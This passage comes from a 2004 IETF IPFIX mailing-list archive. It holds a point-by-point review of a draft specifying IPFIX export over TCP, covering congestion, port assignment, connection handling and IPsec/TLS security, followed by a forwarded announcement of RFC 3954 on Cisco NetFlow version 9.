consistently across all transport types.

> 
> 
>>TCP will detect congestion in the end-to-end path between
>>the IPFIX Exporting Process and the IPFIX Collecting Process,
>>and limit the transfer rate accordingly.  When an IPFIX
>>Exporting Process has records to export, but detects that
>>transmission by TCP is temporarily impossible, it can either
>>wait until sending is possible again, or it can decide to drop
>>the record.  In the latter case, the dropped export data MUST
>>be accounted for, so that the amount of dropped export data can
>>be reported.
> 
> 
> The previous text is taken almost verbatim from
> draft-leinen-ipfix-tcp-00.  Why did you drop the next paragraph?
> 
>        "When an exporter finds that the rate at which flow records
> 	should be exported is consistently higher than the rate at
> 	which TCP permits to send, it SHOULD adapt the metering
> 	process so that it generates a lower amount of data, for
> 	example by increasing the sampling interval, or by increasing
> 	the amount of aggregation.  If it does this, the exporter
> 	SHOULD periodically attempt to switch back to the original
> 	metering configuration when congestion subsides."
> 

Tho reasons: Ipfix protocol really deals with the record transport
and not with the metering process (that's PSAMP's teritory), and
this is a metering problem. Secondly this is more of an
implementation rather than an interworking issue anyway,
and as such it may not belong in any IETF spec.

I suppose you could replace the above with something of the form

"If transport experiences congestion it should notify the metering
process"

but specifying the action is I think wrong, because the right action
will depend on the application. The above statement should go in some
generic place anyway because it applies to all transports except UDP.

> 
>>5.2.2 Reliability
> 
> 
>>TCP provides an intrinsically reliable delivery service from the
>>IPFIX Exporting Process to the IPFIX Collecting Process.
> 
> 
>>5.2.3 MTU
> 
> 
>>TCP provides the required IPFIX Message fragmentation
>>service based on path MTU discovery.

As I recall I pulled it over because it was also in SCTP. We should
probably take it out from both.

> 
> 
> TCP and Path MTU Discovery are largely orthogonal - TCP provides the
> same services whether PMTDU is used or not, only more or less
> efficiently.
> 
> And what is this "required IPFIX Message fragmentation service"? I
> cannot find it in RFC 3917.  Let's leave this section out.  We really
> don't have to talk about IP MTUs here.
> 
> I still think it would be useful to talk about the permitted size of
> IPFIX *messages* though.  In draft-leinen-ipfix-tcp, I have a section
> that says
> 
> 	  The 16-bit LENGTH field limits the length of a message to
> 	  65536 octets including the header.  A collector MUST be able
> 	  to handle message lengths of up to 65536 octets.
> 
> Because the length field in IPFIX messages is a 16-bit unsigned,
> requiring every collector to handle 65536-octet messages sounds
> reasonable to me.

That is really an IPFIX issue rather that a transport issue. We
should probably delete it from the transport details (except
to say that UDP can't even do this), and MAYBE say somewhere
in the global trnsport text that messages must be no bigger than 
transport can support but we recommend that should where
possible support messages sizes of up 65536 (less any gatepost problems)

> 
> 
>>5.3.4 Exporting Process
> 
> 
>>The following sections describe how an IPFIX-over-TCP
>>connection is created, how IPFIX data is transferred
>>over it, and how a connection is to be terminated.
> 
> 
>>5.3.4.1 Connection Establishment
> 
> 
>>The IPFIX Exporting Process initiates a TCP connection to the
>>IPFIX Collecting Process.  By default, the Collecting Process
>>listens for connections on TCP port XXXX (to be assigned by
>>IANA).  It MUST be possible to configure both the Exporting
>>and Collecting Processes to use a different TCP port.
> 
> 
> Should we actually request a IANA-assigned port? For my own
> Netflow/IPFIX deployment I'd have to use multiple port numbers anyway,
> so a well-known port doesn't help me much.
> 
> Arguments for a well-known port number:
> 
> * Makes exporter/collectors easier to configure
> * Makes firewall rules easier to set up
> * Makes debugging easier with tools like Ethereal
> ... but all this only in simple configurations
> 
> Arguments against a well-known port number:
> 
> * Asking IANA for one will delay RFC publication by XXX days
>   (but a single well-known port should be easy)
> * We don't want to deplete the limited resource of well-known port
>   numbers for exotic protocols such as IPFIX
> 
>

Again common to SCTP which has been around for a while. Whatever
we do we should do the same in both cases.

I am not sure that the XXX days is the issue, and nor am I sure that
IPFIX is more exotic than many of the protocols that already have
ports.

It's really a WG call, so we need to text consensus.


>>An Exporting Process MAY support more than one active
>>connection to different Collecting Processes (including
>>the case of different Collecting Processes on the same host).
> 
> 
>>5.3.4.2 Connection Release
> 
> 
>>When an Exporting Process has no more IPFIX Messages to send,
>>it SHOULD close the TCP connection.
> 
> 
>>When a Collecting Process no longer wants to receive IPFIX
>>messages, it SHOULD close the TCP connection, but SHOULD
>>continue to receive and process IPFIX messages until the
>>Exporting Process has closed its end.
> 
> 
>>When an Collecting Process detects that the TCP
>>connection to the Exporting Process is broken, it MUST
>>continue to listen for a new connection.
> 
> 
>>When an Exporting Process detects that the TCP
>>connection is abnormally terminated, it SHOULD try to
>>re-establish the connection.
> 
> 
>>Connection timeouts SHOULD be configurable.
> 
> 
>>5.3.4.3  IPFIX Message Encoding
> 
> 
>>TCP provides message boundary marking marking
>>mechanism.
> 
> 
> I suggest "TCP provides no message boundary marking mechanism."
> 

Yes, typo

> 
>>When IPFIX Message are sent over a
> 
> 
>   When IPFIX Messages ...
> 

OK

> 
>>TCP connection, the LENGTH field in the IPFIX
>>Message header defines the end of each message
>>and the start of the next message.
> 
> 
> At this point in draft-leinen-ipfix-tcp-00.txt, there was the section
> about message sizes I mentioned above.  Did you elide it because this
> is a transport mapping-independent concern? Are you planning to add
> some text on this to the protocol I-D?

See above

> 
> 
>>If an Exporting Process exports data from multiple
>>Observation Domains, it should be careful to choose
>>the IPFIX Message lengths appropriately to avoid
>>head-of-line blocking between different Observation
>>Domains.
> 
> 
>>5.3.4.4  Templates
> 
> 
>>New Template Records SHOULD be transmitted as
>>soon as they are created on the Metering Process,
>>and preferably before any associated Flow and
>>Options Data Record is transmitted.  The Collecting
>>Process SHOULD accept Flow and Options Data Records
>>without the associated Template Record.
> 
> 
>>A Collecting Process MUST record all Template
>>and Option Template Records for the duration
>>of the connection, as an Exporting Process is
>>not required to re-export Template Records.
> 
> 
>>5.3.5 Fail-over
> 
> 
>>If the Collecting Process does not acknowledge the
>>attempt by the Exporting Process to establish a
>>connection, the Exporting Process should retry.
>>The retry schedule SHOULD be configurable.  In
>>the default configuration, an Exporting Process
>>MUST NOT attempt to establish a connection more
>>frequently than once per minute.
> 
> 
>>The Exporter MAY log an alarm if the time to
>>establish the association exceeds a specified
>>threshold.
> 
> 
>>If Collecting Process fail-over is supported by the
>>Exporting Process a second TCP connection MAY be
>>opened in advance.
> 
> 
> 
>>------------------------------------------------
>>TCP specific security considerations
> 
> 
>>Because there is no handshake protocol once a TCP
>>connection is established, negotiation-based
>>transport-layer security protocols such as TLS
>>[RFC2246] cannot be used in a straightforward
>>manner to ensure authenticity and confidentiality.
> 
> 
> Actually, I now think that it would be quite possible to use TLS
> (based on mutual pre-configuration), and that this would be a
> completely valid, even superior, alternative to IPsec - see above.
> 
> 

OK, we will include your text.

>>Exporters and collectors MUST implement IPSEC [RFC2401]
> 
>                                           ^
>                                           IPsec
>                                       (my mistake)
> 
> 
>>with the Authentication Header (AH) [RFC2402] to
>>ensure authenticity of the exporter and the collector.
>>Exporters SHOULD implement IPSEC Encapsulating Security
> 
>                              ^
>                              IPsec
> 
> 
>>Payload (ESP) [RFC2406] to ensure confidentiality of
>>the exported data.  The use of AH and ESP MUST be
>>configurable for each exporter/collector pair.
> 
> 
>>It MUST be possible to configure, an Exporting Process
> 
>                                   ^
>                   I believe this comma is incorrect.
> 

OK

> 
>>to authenticate itself to the Collecting Process.
>>This authentication mechanism SHOULD be capable of
>>using strong identities such as IKE [RFC2409] public-key
>>certificates or pre-shared keys.  A Collecting Process
>>SHOULD detect and log unauthorized connection attempts.
> 
> 
>>-------------------------------------------------
> 
> 
>>IANA Considerations
> 
> 
>>IANA should assign a well-known TCP port number for IPFIX
>>over UDP, TCP and SCTP. It is recommended that the same
>>well-known port number is used as a default for all three
>>transport protocols.
> 
> 
>>EDITOR NOTE: once the SCTP, TCP and UDP ports are assigned,
>>The text in this draft might be updated.
> 
> 
>>-------------------------------------------------------
>>Normative references
> 
> 
> 
>>[RFC2401]  Kent, S. and R. Atkinson, "Security
>>            Architecture for the Internet Protocol",
>>            RFC 2401, November 1998.
> 
> 
> I would add RFC793 (TCP), RFC2402 (AH), RFC 2406 (ESP).
> 

OK

> 
>>[RFC2409]  Harkins, D. and D. Carrel, "The Internet
>>Key Exchange (IKE)", RFC 2409, November 1998.
> 
> 
>>Informative References
> 
> 
>>[RFC2246]  Dierks, T. and C. Allen, "The TLS Protocol
>>Version 1.0", RFC 2246, January 1999.





--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Sat Oct 30 11:32:15 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA29317
	for <ipfix-archive@lists.ietf.org>; Sat, 30 Oct 2004 11:32:15 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CNupx-00016J-00
	for ipfix-list@mil.doit.wisc.edu; Sat, 30 Oct 2004 10:08:13 -0500
Received: from odd-brew.cisco.com ([144.254.15.119] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CNupw-000165-00
	for ipfix@net.doit.wisc.edu; Sat, 30 Oct 2004 10:08:12 -0500
Received: from [10.49.4.219] (bclaise-isdn-home2.cisco.com [10.49.4.219])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.8.8) with ESMTP id i9UF88106106
	for <ipfix@net.doit.wisc.edu>; Sat, 30 Oct 2004 17:08:08 +0200 (CEST)
Message-ID: <4183AE57.4030902@cisco.com>
Date: Sat, 30 Oct 2004 17:08:07 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix <ipfix@net.doit.wisc.edu>
Subject: [ipfix] [Fwd: RFC 3954 on Cisco Systems NetFlow Services Export Version 9]
Content-Type: multipart/alternative;
 boundary="------------010204040407030001070304"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

This is a multi-part message in MIME format.
--------------010204040407030001070304
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

FYI.

Regards, Benoit.

-------- Original Message --------
Subject: 	RFC 3954 on Cisco Systems NetFlow Services Export Version 9
Date: 	Thu, 28 Oct 2004 10:45:33 -0700
From: 	rfc-editor@rfc-editor.org
To: 	ietf-announce@ietf.org
CC: 	rfc-editor@rfc-editor.org



A new Request for Comments is now available in online RFC libraries.


        RFC 3954

        Title:      Cisco Systems NetFlow Services Export Version 9
        Author(s):  B. Claise, Ed.
        Status:     Informational
        Date:       October 2004
        Mailbox:    bclaise@cisco.com
        Pages:      33
        Characters: 76360
        Updates/Obsoletes/SeeAlso:    None

        I-D Tag:    draft-claise-netflow-9-08.txt

        URL:        ftp://ftp.rfc-editor.org/in-notes/rfc3954.txt


This document specifies the data export format for version 9 of
Cisco Systems' NetFlow services, for use by implementations on the
network elements and/or matching collector programs.  The version 9
export format uses templates to provide access to observations
of IP packet flows in a flexible and extensible manner.  A template
defines a collection of fields, with corresponding descriptions of
structure and semantics.

This memo provides information for the Internet community.  It does
not specify an Internet standard of any kind.  Distribution of this
memo is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to IETF-REQUEST@IETF.ORG.  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to RFC-DIST-REQUEST@RFC-EDITOR.ORG.

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to rfc-info@RFC-EDITOR.ORG with the message body 
help: ways_to_get_rfcs.  For example:

        To: rfc-info@RFC-EDITOR.ORG
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to RFC-Manager@RFC-EDITOR.ORG.  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.

Submissions for Requests for Comments should be sent to
RFC-EDITOR@RFC-EDITOR.ORG.  Please consult RFC 2223, Instructions to RFC
Authors, for further information.


Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute




--------------010204040407030001070304
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
FYI.<br>
<br>
Regards, Benoit.<br>
<br>
-------- Original Message --------
<table border="0" cellpadding="0" cellspacing="0">
  <tbody>
    <tr>
      <th align="right" nowrap="nowrap" valign="baseline">Subject: </th>
      <td>RFC 3954 on Cisco Systems NetFlow Services Export Version 9</td>
    </tr>
    <tr>
      <th align="right" nowrap="nowrap" valign="baseline">Date: </th>
      <td>Thu, 28 Oct 2004 10:45:33 -0700</td>
    </tr>
    <tr>
      <th align="right" nowrap="nowrap" valign="baseline">From: </th>
      <td><a class="moz-txt-link-abbreviated" href="mailto:rfc-editor@rfc-editor.org">rfc-editor@rfc-editor.org</a></td>
    </tr>
    <tr>
      <th align="right" nowrap="nowrap" valign="baseline">To: </th>
      <td><a class="moz-txt-link-abbreviated" href="mailto:ietf-announce@ietf.org">ietf-announce@ietf.org</a></td>
    </tr>
    <tr>
      <th align="right" nowrap="nowrap" valign="baseline">CC: </th>
      <td><a class="moz-txt-link-abbreviated" href="mailto:rfc-editor@rfc-editor.org">rfc-editor@rfc-editor.org</a></td>
    </tr>
  </tbody>
</table>
<br>
<br>
<pre>A new Request for Comments is now available in online RFC libraries.


        RFC 3954

        Title:      Cisco Systems NetFlow Services Export Version 9
        Author(s):  B. Claise, Ed.
        Status:     Informational
        Date:       October 2004
        Mailbox:    <a class="moz-txt-link-abbreviated" href="mailto:bclaise@cisco.com">bclaise@cisco.com</a>
        Pages:      33
        Characters: 76360
        Updates/Obsoletes/SeeAlso:    None

        I-D Tag:    draft-claise-netflow-9-08.txt

        URL:        <a class="moz-txt-link-freetext" href="ftp://ftp.rfc-editor.org/in-notes/rfc3954.txt">ftp://ftp.rfc-editor.org/in-notes/rfc3954.txt</a>


This document specifies the data export format for version 9 of
Cisco Systems' NetFlow services, for use by implementations on the
network elements and/or matching collector programs.  The version 9
export format uses templates to provide access to observations
of IP packet flows in a flexible and extensible manner.  A template
defines a collection of fields, with corresponding descriptions of
structure and semantics.

This memo provides information for the Internet community.  It does
not specify an Internet standard of any kind.  Distribution of this
memo is unlimited.

This announcement is sent to the IETF list and the RFC-DIST list.
Requests to be added to or deleted from the IETF distribution list
should be sent to <a class="moz-txt-link-abbreviated" href="mailto:IETF-REQUEST@IETF.ORG">IETF-REQUEST@IETF.ORG</a>.  Requests to be
added to or deleted from the RFC-DIST distribution list should
be sent to <a class="moz-txt-link-abbreviated" href="mailto:RFC-DIST-REQUEST@RFC-EDITOR.ORG">RFC-DIST-REQUEST@RFC-EDITOR.ORG</a>.

Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to <a class="moz-txt-link-abbreviated" href="mailto:rfc-info@RFC-EDITOR.ORG">rfc-info@RFC-EDITOR.ORG</a> with the message body 
help: ways_to_get_rfcs.  For example:

        To: <a class="moz-txt-link-abbreviated" href="mailto:rfc-info@RFC-EDITOR.ORG">rfc-info@RFC-EDITOR.ORG</a>
        Subject: getting rfcs

        help: ways_to_get_rfcs

Requests for special distribution should be addressed to either the
author of the RFC in question, or to <a class="moz-txt-link-abbreviated" href="mailto:RFC-Manager@RFC-EDITOR.ORG">RFC-Manager@RFC-EDITOR.ORG</a>.  Unless
specifically noted otherwise on the RFC itself, all RFCs are for
unlimited distribution.

Submissions for Requests for Comments should be sent to
<a class="moz-txt-link-abbreviated" href="mailto:RFC-EDITOR@RFC-EDITOR.ORG">RFC-EDITOR@RFC-EDITOR.ORG</a>.  Please consult RFC 2223, Instructions to RFC
Authors, for further information.


Joyce K. Reynolds and Sandy Ginoza
USC/Information Sciences Institute


</pre>
</body>
</html>

--------------010204040407030001070304--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


